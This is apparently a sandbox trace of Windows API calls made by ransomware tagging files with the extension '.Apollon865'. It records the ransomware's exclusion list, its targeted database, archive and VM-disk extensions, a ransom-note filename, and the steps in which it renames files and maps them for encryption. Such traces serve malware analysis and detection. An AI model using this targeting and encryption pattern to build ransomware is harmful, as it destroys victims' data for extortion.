	[0054.672] lstrlenW (lpString=".lnk") returned 4
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2=".lnk") returned 1
	[0054.672] lstrlenW (lpString=".ini") returned 4
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2=".ini") returned 1
	[0054.672] lstrlenW (lpString=".sys") returned 4
	[0054.672] lstrcmpiW (lpString1="Andorra", lpString2=".sys") returned 1
	[0054.672] lstrlenW (lpString="Andorra") returned 7
	[0054.672] lstrlenW (lpString="bak") returned 3
	[0054.672] lstrcmpiW (lpString1="rra", lpString2="bak") returned 1
	[0054.672] lstrlenW (lpString="ba_") returned 3
	[0054.672] lstrcmpiW (lpString1="rra", lpString2="ba_") returned 1
	[0054.672] lstrlenW (lpString="dbb") returned 3
	[0054.672] lstrcmpiW (lpString1="rra", lpString2="dbb") returned 1
	[0054.673] lstrlenW (lpString="vmdk") returned 4
	[0054.673] lstrcmpiW (lpString1="orra", lpString2="vmdk") returned -1
	[0054.673] lstrlenW (lpString="rar") returned 3
	[0054.673] lstrcmpiW (lpString1="rra", lpString2="rar") returned 1
	[0054.673] lstrlenW (lpString="zip") returned 3
	[0054.673] lstrcmpiW (lpString1="rra", lpString2="zip") returned -1
	[0054.673] lstrlenW (lpString="tgz") returned 3
	[0054.673] lstrcmpiW (lpString1="rra", lpString2="tgz") returned -1
	[0054.673] lstrlenW (lpString="vbox") returned 4
	[0054.673] lstrcmpiW (lpString1="orra", lpString2="vbox") returned -1
	[0054.673] lstrlenW (lpString="vdi") returned 3
	[0054.673] lstrcmpiW (lpString1="rra", lpString2="vdi") returned -1
	[0054.673] lstrlenW (lpString="vhd") returned 3
	[0054.673] lstrcmpiW (lpString1="rra", lpString2="vhd") returned -1
	[0054.673] lstrlenW (lpString="vhdx") returned 4
	[0054.673] lstrcmpiW (lpString1="orra", lpString2="vhdx") returned -1
	[0054.673] lstrlenW (lpString="avhd") returned 4
	[0054.673] lstrcmpiW (lpString1="orra", lpString2="avhd") returned 1
	[0054.673] lstrlenW (lpString="db") returned 2
	[0054.673] lstrcmpiW (lpString1="ra", lpString2="db") returned 1
	[0054.673] lstrlenW (lpString="db2") returned 3
	[0054.673] lstrcmpiW (lpString1="rra", lpString2="db2") returned 1
	[0054.673] lstrlenW (lpString="db3") returned 3
	[0054.673] lstrcmpiW (lpString1="rra", lpString2="db3") returned 1
	[0054.673] lstrlenW (lpString="dbf") returned 3
	[0054.673] lstrcmpiW (lpString1="rra", lpString2="dbf") returned 1
	[0054.673] lstrlenW (lpString="mdf") returned 3
	[0054.673] lstrcmpiW (lpString1="rra", lpString2="mdf") returned 1
	[0054.673] lstrlenW (lpString="mdb") returned 3
	[0054.673] lstrcmpiW (lpString1="rra", lpString2="mdb") returned 1
	[0054.673] lstrlenW (lpString="sql") returned 3
	[0054.673] lstrcmpiW (lpString1="rra", lpString2="sql") returned -1
	[0054.673] lstrlenW (lpString="sqlite") returned 6
	[0054.673] lstrcmpiW (lpString1="ndorra", lpString2="sqlite") returned -1
	[0054.674] lstrlenW (lpString="sqlite3") returned 7
	[0054.674] lstrlenW (lpString="sqlitedb") returned 8
	[0054.674] lstrlenW (lpString="xml") returned 3
	[0054.674] lstrcmpiW (lpString1="rra", lpString2="xml") returned -1
	[0054.674] lstrlenW (lpString="$er") returned 3
	[0054.674] lstrcmpiW (lpString1="rra", lpString2="$er") returned 1
	[0054.674] lstrlenW (lpString="4dd") returned 3
	[0054.674] lstrcmpiW (lpString1="rra", lpString2="4dd") returned 1
	[0054.674] lstrlenW (lpString="4dl") returned 3
	[0054.674] lstrcmpiW (lpString1="rra", lpString2="4dl") returned 1
	[0054.674] lstrlenW (lpString="^^^") returned 3
	[0054.674] lstrcmpiW (lpString1="rra", lpString2="^^^") returned 1
	[0054.674] lstrlenW (lpString="abs") returned 3
	[0054.674] lstrcmpiW (lpString1="rra", lpString2="abs") returned 1
	[0054.674] lstrlenW (lpString="abx") returned 3
	[0054.674] lstrcmpiW (lpString1="rra", lpString2="abx") returned 1
	[0054.674] lstrlenW (lpString="accdb") returned 5
	[0054.674] lstrcmpiW (lpString1="dorra", lpString2="accdb") returned 1
	[0054.674] lstrlenW (lpString="accdc") returned 5
	[0054.674] lstrcmpiW (lpString1="dorra", lpString2="accdc") returned 1
	[0054.674] lstrlenW (lpString="accde") returned 5
	[0054.674] lstrcmpiW (lpString1="dorra", lpString2="accde") returned 1
	[0054.674] lstrlenW (lpString="accdr") returned 5
	[0054.674] lstrcmpiW (lpString1="dorra", lpString2="accdr") returned 1
	[0054.674] lstrlenW (lpString="accdt") returned 5
	[0054.674] lstrcmpiW (lpString1="dorra", lpString2="accdt") returned 1
	[0054.674] lstrlenW (lpString="accdw") returned 5
	[0054.674] lstrcmpiW (lpString1="dorra", lpString2="accdw") returned 1
	[0054.674] lstrlenW (lpString="accft") returned 5
	[0054.674] lstrcmpiW (lpString1="dorra", lpString2="accft") returned 1
	[0054.674] lstrlenW (lpString="adb") returned 3
	[0054.674] lstrcmpiW (lpString1="rra", lpString2="adb") returned 1
	[0054.674] lstrlenW (lpString="adb") returned 3
	[0054.674] lstrcmpiW (lpString1="rra", lpString2="adb") returned 1
	[0054.675] lstrlenW (lpString="ade") returned 3
	[0054.675] lstrcmpiW (lpString1="rra", lpString2="ade") returned 1
	[0054.675] lstrlenW (lpString="adf") returned 3
	[0054.675] lstrcmpiW (lpString1="rra", lpString2="adf") returned 1
	[0054.675] lstrlenW (lpString="adn") returned 3
	[0054.675] lstrcmpiW (lpString1="rra", lpString2="adn") returned 1
	[0054.675] lstrlenW (lpString="adp") returned 3
	[0054.675] lstrcmpiW (lpString1="rra", lpString2="adp") returned 1
	[0054.675] lstrlenW (lpString="alf") returned 3
	[0054.675] lstrcmpiW (lpString1="rra", lpString2="alf") returned 1
	[0054.675] lstrlenW (lpString="ask") returned 3
	[0054.675] lstrcmpiW (lpString1="rra", lpString2="ask") returned 1
	[0054.675] lstrlenW (lpString="btr") returned 3
	[0054.675] lstrcmpiW (lpString1="rra", lpString2="btr") returned 1
	[0054.675] lstrlenW (lpString="cat") returned 3
	[0054.675] lstrcmpiW (lpString1="rra", lpString2="cat") returned 1
	[0054.675] lstrlenW (lpString="cdb") returned 3
	[0054.675] lstrcmpiW (lpString1="rra", lpString2="cdb") returned 1
	[0054.675] lstrlenW (lpString="ckp") returned 3
	[0054.675] lstrcmpiW (lpString1="rra", lpString2="ckp") returned 1
	[0054.675] lstrlenW (lpString="cma") returned 3
	[0054.675] lstrcmpiW (lpString1="rra", lpString2="cma") returned 1
	[0054.675] lstrlenW (lpString="cpd") returned 3
	[0054.675] lstrcmpiW (lpString1="rra", lpString2="cpd") returned 1
	[0054.675] lstrlenW (lpString="dacpac") returned 6
	[0054.675] lstrcmpiW (lpString1="ndorra", lpString2="dacpac") returned 1
	[0054.675] lstrlenW (lpString="dad") returned 3
	[0054.675] lstrcmpiW (lpString1="rra", lpString2="dad") returned 1
	[0054.675] lstrlenW (lpString="dadiagrams") returned 10
	[0054.675] lstrlenW (lpString="daschema") returned 8
	[0054.675] lstrlenW (lpString="db-journal") returned 10
	[0054.675] lstrlenW (lpString="db-shm") returned 6
	[0054.675] lstrcmpiW (lpString1="ndorra", lpString2="db-shm") returned 1
	[0054.675] lstrlenW (lpString="db-wal") returned 6
	[0054.676] lstrcmpiW (lpString1="ndorra", lpString2="db-wal") returned 1
	[0054.676] lstrlenW (lpString="dbc") returned 3
	[0054.676] lstrcmpiW (lpString1="rra", lpString2="dbc") returned 1
	[0054.676] lstrlenW (lpString="dbs") returned 3
	[0054.676] lstrcmpiW (lpString1="rra", lpString2="dbs") returned 1
	[0054.676] lstrlenW (lpString="dbt") returned 3
	[0054.676] lstrcmpiW (lpString1="rra", lpString2="dbt") returned 1
	[0054.676] lstrlenW (lpString="dbv") returned 3
	[0054.676] lstrcmpiW (lpString1="rra", lpString2="dbv") returned 1
	[0054.676] lstrlenW (lpString="dbx") returned 3
	[0054.676] lstrcmpiW (lpString1="rra", lpString2="dbx") returned 1
	[0054.676] lstrlenW (lpString="dcb") returned 3
	[0054.676] lstrcmpiW (lpString1="rra", lpString2="dcb") returned 1
	[0054.676] lstrcmpiW (lpString1="rra", lpString2="dct") returned 1
	[0054.676] lstrcmpiW (lpString1="rra", lpString2="dcx") returned 1
	[0054.676] lstrcmpiW (lpString1="rra", lpString2="ddl") returned 1
	[0054.676] lstrcmpiW (lpString1="orra", lpString2="dlis") returned 1
	[0054.676] lstrcmpiW (lpString1="rra", lpString2="dp1") returned 1
	[0054.676] lstrcmpiW (lpString1="rra", lpString2="dqy") returned 1
	[0054.676] lstrcmpiW (lpString1="rra", lpString2="dsk") returned 1
	[0054.676] lstrcmpiW (lpString1="rra", lpString2="dsn") returned 1
	[0054.676] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Athens" | out: lpString1="Athens") returned="Athens"
	[0054.676] lstrlenW (lpString="Athens") returned 6
	[0054.677] lstrlenW (lpString="Apollon865") returned 10
	[0054.677] lstrlenW (lpString=".dll") returned 4
	[0054.677] lstrcmpiW (lpString1="Athens", lpString2=".dll") returned 1
	[0054.677] lstrlenW (lpString=".lnk") returned 4
	[0054.677] lstrcmpiW (lpString1="Athens", lpString2=".lnk") returned 1
	[0054.677] lstrlenW (lpString=".ini") returned 4
	[0054.677] lstrcmpiW (lpString1="Athens", lpString2=".ini") returned 1
	[0054.677] lstrlenW (lpString=".sys") returned 4
	[0054.677] lstrcmpiW (lpString1="Athens", lpString2=".sys") returned 1
	[0054.677] lstrlenW (lpString="Athens") returned 6
	[0054.677] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Belgrade" | out: lpString1="Belgrade") returned="Belgrade"
	[0054.677] lstrlenW (lpString="Belgrade") returned 8
	[0054.677] lstrlenW (lpString="Apollon865") returned 10
	[0054.677] lstrlenW (lpString=".dll") returned 4
	[0054.677] lstrcmpiW (lpString1="Belgrade", lpString2=".dll") returned 1
	[0054.677] lstrlenW (lpString=".lnk") returned 4
	[0054.677] lstrcmpiW (lpString1="Belgrade", lpString2=".lnk") returned 1
	[0054.677] lstrlenW (lpString=".ini") returned 4
	[0054.677] lstrcmpiW (lpString1="Belgrade", lpString2=".ini") returned 1
	[0054.677] lstrlenW (lpString=".sys") returned 4
	[0054.677] lstrcmpiW (lpString1="Belgrade", lpString2=".sys") returned 1
	[0054.677] lstrlenW (lpString="Belgrade") returned 8
	[0054.677] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Belgrade.Apollon865") returned 66
	[0054.677] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Belgrade" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\belgrade"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Belgrade.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\belgrade.apollon865"), dwFlags=0x1) returned 1
	[0054.699] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Belgrade.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\belgrade.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0054.699] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1040) returned 1
	[0054.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0054.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0054.699] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf568) returned 1
	[0054.700] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.700] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0054.701] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x710, lpName=0x0) returned 0x150
	[0054.702] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x710) returned 0x100000
	[0054.706] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0054.707] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.707] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0054.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0054.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0054.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0054.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.707] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.707] CloseHandle (hObject=0x150) returned 1
	[0054.707] CloseHandle (hObject=0x15c) returned 1
	[0054.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0054.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0054.708] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.708] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Berlin", cAlternateFileName="")) returned 1
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2="Apollon865.txt.exe") returned 1
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2=".") returned 1
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2="..") returned 1
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2="windows") returned -1
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2="bootmgr") returned -1
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2="temp") returned -1
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2="pagefile.sys") returned -1
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2="boot") returned -1
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2="ids.txt") returned -1
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2="ntuser.dat") returned -1
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2="perflogs") returned -1
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2="MSBuild") returned -1
	[0054.708] lstrlenW (lpString="Berlin") returned 6
	[0054.708] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Belgrade") returned 55
	[0054.708] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Berlin" | out: lpString1="Berlin") returned="Berlin"
	[0054.708] lstrlenW (lpString="Berlin") returned 6
	[0054.708] lstrlenW (lpString="Apollon865") returned 10
	[0054.708] lstrlenW (lpString=".dll") returned 4
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2=".dll") returned 1
	[0054.708] lstrlenW (lpString=".lnk") returned 4
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2=".lnk") returned 1
	[0054.708] lstrlenW (lpString=".ini") returned 4
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2=".ini") returned 1
	[0054.708] lstrlenW (lpString=".sys") returned 4
	[0054.708] lstrcmpiW (lpString1="Berlin", lpString2=".sys") returned 1
	[0054.708] lstrlenW (lpString="Berlin") returned 6
	[0054.709] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Brussels" | out: lpString1="Brussels") returned="Brussels"
	[0054.709] lstrlenW (lpString="Brussels") returned 8
	[0054.709] lstrlenW (lpString="Apollon865") returned 10
	[0054.709] lstrlenW (lpString=".dll") returned 4
	[0054.709] lstrcmpiW (lpString1="Brussels", lpString2=".dll") returned 1
	[0054.709] lstrlenW (lpString=".lnk") returned 4
	[0054.709] lstrcmpiW (lpString1="Brussels", lpString2=".lnk") returned 1
	[0054.709] lstrlenW (lpString=".ini") returned 4
	[0054.709] lstrcmpiW (lpString1="Brussels", lpString2=".ini") returned 1
	[0054.709] lstrlenW (lpString=".sys") returned 4
	[0054.709] lstrcmpiW (lpString1="Brussels", lpString2=".sys") returned 1
	[0054.709] lstrlenW (lpString="Brussels") returned 8
	[0054.709] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Bucharest" | out: lpString1="Bucharest") returned="Bucharest"
	[0054.709] lstrlenW (lpString="Bucharest") returned 9
	[0054.709] lstrlenW (lpString="Apollon865") returned 10
	[0054.709] lstrlenW (lpString=".dll") returned 4
	[0054.709] lstrcmpiW (lpString1="Bucharest", lpString2=".dll") returned 1
	[0054.709] lstrlenW (lpString=".lnk") returned 4
	[0054.709] lstrcmpiW (lpString1="Bucharest", lpString2=".lnk") returned 1
	[0054.709] lstrlenW (lpString=".ini") returned 4
	[0054.709] lstrcmpiW (lpString1="Bucharest", lpString2=".ini") returned 1
	[0054.709] lstrlenW (lpString=".sys") returned 4
	[0054.709] lstrcmpiW (lpString1="Bucharest", lpString2=".sys") returned 1
	[0054.709] lstrlenW (lpString="Bucharest") returned 9
	[0054.709] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Budapest" | out: lpString1="Budapest") returned="Budapest"
	[0054.709] lstrlenW (lpString="Budapest") returned 8
	[0054.709] lstrlenW (lpString="Apollon865") returned 10
	[0054.710] lstrlenW (lpString=".dll") returned 4
	[0054.710] lstrcmpiW (lpString1="Budapest", lpString2=".dll") returned 1
	[0054.710] lstrlenW (lpString=".lnk") returned 4
	[0054.710] lstrcmpiW (lpString1="Budapest", lpString2=".lnk") returned 1
	[0054.710] lstrlenW (lpString=".ini") returned 4
	[0054.710] lstrcmpiW (lpString1="Budapest", lpString2=".ini") returned 1
	[0054.710] lstrlenW (lpString=".sys") returned 4
	[0054.710] lstrcmpiW (lpString1="Budapest", lpString2=".sys") returned 1
	[0054.710] lstrlenW (lpString="Budapest") returned 8
	[0054.710] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Chisinau" | out: lpString1="Chisinau") returned="Chisinau"
	[0054.710] lstrlenW (lpString="Chisinau") returned 8
	[0054.710] lstrlenW (lpString="Apollon865") returned 10
	[0054.710] lstrlenW (lpString=".dll") returned 4
	[0054.710] lstrcmpiW (lpString1="Chisinau", lpString2=".dll") returned 1
	[0054.710] lstrlenW (lpString=".lnk") returned 4
	[0054.710] lstrcmpiW (lpString1="Chisinau", lpString2=".lnk") returned 1
	[0054.710] lstrlenW (lpString=".ini") returned 4
	[0054.710] lstrcmpiW (lpString1="Chisinau", lpString2=".ini") returned 1
	[0054.710] lstrlenW (lpString=".sys") returned 4
	[0054.710] lstrcmpiW (lpString1="Chisinau", lpString2=".sys") returned 1
	[0054.710] lstrlenW (lpString="Chisinau") returned 8
	[0054.710] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Copenhagen" | out: lpString1="Copenhagen") returned="Copenhagen"
	[0054.710] lstrlenW (lpString="Copenhagen") returned 10
	[0054.711] lstrlenW (lpString="Apollon865") returned 10
	[0054.711] lstrlenW (lpString=".dll") returned 4
	[0054.711] lstrcmpiW (lpString1="Copenhagen", lpString2=".dll") returned 1
	[0054.711] lstrlenW (lpString=".lnk") returned 4
	[0054.711] lstrcmpiW (lpString1="Copenhagen", lpString2=".lnk") returned 1
	[0054.711] lstrlenW (lpString=".ini") returned 4
	[0054.711] lstrcmpiW (lpString1="Copenhagen", lpString2=".ini") returned 1
	[0054.711] lstrlenW (lpString=".sys") returned 4
	[0054.711] lstrcmpiW (lpString1="Copenhagen", lpString2=".sys") returned 1
	[0054.711] lstrlenW (lpString="Copenhagen") returned 10
	[0054.711] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Dublin" | out: lpString1="Dublin") returned="Dublin"
	[0054.711] lstrlenW (lpString="Dublin") returned 6
	[0054.711] lstrlenW (lpString="Apollon865") returned 10
	[0054.711] lstrlenW (lpString=".dll") returned 4
	[0054.711] lstrcmpiW (lpString1="Dublin", lpString2=".dll") returned 1
	[0054.711] lstrlenW (lpString=".lnk") returned 4
	[0054.711] lstrcmpiW (lpString1="Dublin", lpString2=".lnk") returned 1
	[0054.711] lstrlenW (lpString=".ini") returned 4
	[0054.711] lstrcmpiW (lpString1="Dublin", lpString2=".ini") returned 1
	[0054.711] lstrlenW (lpString=".sys") returned 4
	[0054.711] lstrcmpiW (lpString1="Dublin", lpString2=".sys") returned 1
	[0054.711] lstrlenW (lpString="Dublin") returned 6
	[0054.711] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Gibraltar" | out: lpString1="Gibraltar") returned="Gibraltar"
	[0054.711] lstrlenW (lpString="Gibraltar") returned 9
	[0054.711] lstrlenW (lpString="Apollon865") returned 10
	[0054.711] lstrlenW (lpString=".dll") returned 4
	[0054.711] lstrcmpiW (lpString1="Gibraltar", lpString2=".dll") returned 1
	[0054.711] lstrlenW (lpString=".lnk") returned 4
	[0054.711] lstrcmpiW (lpString1="Gibraltar", lpString2=".lnk") returned 1
	[0054.711] lstrlenW (lpString=".ini") returned 4
	[0054.711] lstrcmpiW (lpString1="Gibraltar", lpString2=".ini") returned 1
	[0054.712] lstrlenW (lpString=".sys") returned 4
	[0054.712] lstrcmpiW (lpString1="Gibraltar", lpString2=".sys") returned 1
	[0054.712] lstrlenW (lpString="Gibraltar") returned 9
	[0054.712] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Helsinki" | out: lpString1="Helsinki") returned="Helsinki"
	[0054.712] lstrlenW (lpString="Helsinki") returned 8
	[0054.712] lstrlenW (lpString="Apollon865") returned 10
	[0054.712] lstrlenW (lpString=".dll") returned 4
	[0054.712] lstrcmpiW (lpString1="Helsinki", lpString2=".dll") returned 1
	[0054.712] lstrlenW (lpString=".lnk") returned 4
	[0054.712] lstrcmpiW (lpString1="Helsinki", lpString2=".lnk") returned 1
	[0054.712] lstrlenW (lpString=".ini") returned 4
	[0054.712] lstrcmpiW (lpString1="Helsinki", lpString2=".ini") returned 1
	[0054.712] lstrlenW (lpString=".sys") returned 4
	[0054.712] lstrcmpiW (lpString1="Helsinki", lpString2=".sys") returned 1
	[0054.712] lstrlenW (lpString="Helsinki") returned 8
	[0054.712] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Istanbul" | out: lpString1="Istanbul") returned="Istanbul"
	[0054.712] lstrlenW (lpString="Istanbul") returned 8
	[0054.712] lstrlenW (lpString="Apollon865") returned 10
	[0054.712] lstrlenW (lpString=".dll") returned 4
	[0054.712] lstrcmpiW (lpString1="Istanbul", lpString2=".dll") returned 1
	[0054.712] lstrlenW (lpString=".lnk") returned 4
	[0054.712] lstrcmpiW (lpString1="Istanbul", lpString2=".lnk") returned 1
	[0054.712] lstrlenW (lpString=".ini") returned 4
	[0054.712] lstrcmpiW (lpString1="Istanbul", lpString2=".ini") returned 1
	[0054.712] lstrlenW (lpString=".sys") returned 4
	[0054.712] lstrcmpiW (lpString1="Istanbul", lpString2=".sys") returned 1
	[0054.712] lstrlenW (lpString="Istanbul") returned 8
	[0054.712] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Kaliningrad" | out: lpString1="Kaliningrad") returned="Kaliningrad"
	[0054.712] lstrlenW (lpString="Kaliningrad") returned 11
	[0054.713] lstrlenW (lpString="Apollon865") returned 10
	[0054.713] lstrcmpiW (lpString1="aliningrad", lpString2="Apollon865") returned -1
	[0054.713] lstrlenW (lpString=".dll") returned 4
	[0054.713] lstrcmpiW (lpString1="Kaliningrad", lpString2=".dll") returned 1
	[0054.713] lstrlenW (lpString=".lnk") returned 4
	[0054.713] lstrcmpiW (lpString1="Kaliningrad", lpString2=".lnk") returned 1
	[0054.713] lstrlenW (lpString=".ini") returned 4
	[0054.713] lstrcmpiW (lpString1="Kaliningrad", lpString2=".ini") returned 1
	[0054.713] lstrlenW (lpString=".sys") returned 4
	[0054.713] lstrcmpiW (lpString1="Kaliningrad", lpString2=".sys") returned 1
	[0054.713] lstrlenW (lpString="Kaliningrad") returned 11
	[0054.713] lstrlenW (lpString="bak") returned 3
	[0054.713] lstrcmpiW (lpString1="rad", lpString2="bak") returned 1
	[0054.713] lstrlenW (lpString="ba_") returned 3
	[0054.713] lstrcmpiW (lpString1="rad", lpString2="ba_") returned 1
	[0054.713] lstrlenW (lpString="dbb") returned 3
	[0054.713] lstrcmpiW (lpString1="rad", lpString2="dbb") returned 1
	[0054.713] lstrlenW (lpString="vmdk") returned 4
	[0054.713] lstrcmpiW (lpString1="grad", lpString2="vmdk") returned -1
	[0054.713] lstrlenW (lpString="rar") returned 3
	[0054.713] lstrcmpiW (lpString1="rad", lpString2="rar") returned -1
	[0054.713] lstrlenW (lpString="zip") returned 3
	[0054.713] lstrcmpiW (lpString1="rad", lpString2="zip") returned -1
	[0054.713] lstrlenW (lpString="tgz") returned 3
	[0054.713] lstrcmpiW (lpString1="rad", lpString2="tgz") returned -1
	[0054.713] lstrlenW (lpString="vbox") returned 4
	[0054.713] lstrcmpiW (lpString1="grad", lpString2="vbox") returned -1
	[0054.713] lstrlenW (lpString="vdi") returned 3
	[0054.713] lstrcmpiW (lpString1="rad", lpString2="vdi") returned -1
	[0054.713] lstrlenW (lpString="vhd") returned 3
	[0054.713] lstrcmpiW (lpString1="rad", lpString2="vhd") returned -1
	[0054.713] lstrlenW (lpString="vhdx") returned 4
	[0054.713] lstrcmpiW (lpString1="grad", lpString2="vhdx") returned -1
	[0054.713] lstrlenW (lpString="avhd") returned 4
	[0054.714] lstrcmpiW (lpString1="grad", lpString2="avhd") returned 1
	[0054.714] lstrlenW (lpString="db") returned 2
	[0054.714] lstrcmpiW (lpString1="ad", lpString2="db") returned -1
	[0054.714] lstrlenW (lpString="db2") returned 3
	[0054.714] lstrcmpiW (lpString1="rad", lpString2="db2") returned 1
	[0054.714] lstrlenW (lpString="db3") returned 3
	[0054.714] lstrcmpiW (lpString1="rad", lpString2="db3") returned 1
	[0054.714] lstrlenW (lpString="dbf") returned 3
	[0054.714] lstrcmpiW (lpString1="rad", lpString2="dbf") returned 1
	[0054.714] lstrlenW (lpString="mdf") returned 3
	[0054.714] lstrcmpiW (lpString1="rad", lpString2="mdf") returned 1
	[0054.714] lstrlenW (lpString="mdb") returned 3
	[0054.714] lstrcmpiW (lpString1="rad", lpString2="mdb") returned 1
	[0054.714] lstrlenW (lpString="sql") returned 3
	[0054.714] lstrcmpiW (lpString1="rad", lpString2="sql") returned -1
	[0054.714] lstrlenW (lpString="sqlite") returned 6
	[0054.714] lstrcmpiW (lpString1="ingrad", lpString2="sqlite") returned -1
	[0054.714] lstrlenW (lpString="sqlite3") returned 7
	[0054.714] lstrcmpiW (lpString1="ningrad", lpString2="sqlite3") returned -1
	[0054.714] lstrlenW (lpString="sqlitedb") returned 8
	[0054.714] lstrcmpiW (lpString1="iningrad", lpString2="sqlitedb") returned -1
	[0054.714] lstrlenW (lpString="xml") returned 3
	[0054.714] lstrcmpiW (lpString1="rad", lpString2="xml") returned -1
	[0054.714] lstrlenW (lpString="$er") returned 3
	[0054.714] lstrcmpiW (lpString1="rad", lpString2="$er") returned 1
	[0054.714] lstrlenW (lpString="4dd") returned 3
	[0054.714] lstrcmpiW (lpString1="rad", lpString2="4dd") returned 1
	[0054.714] lstrlenW (lpString="4dl") returned 3
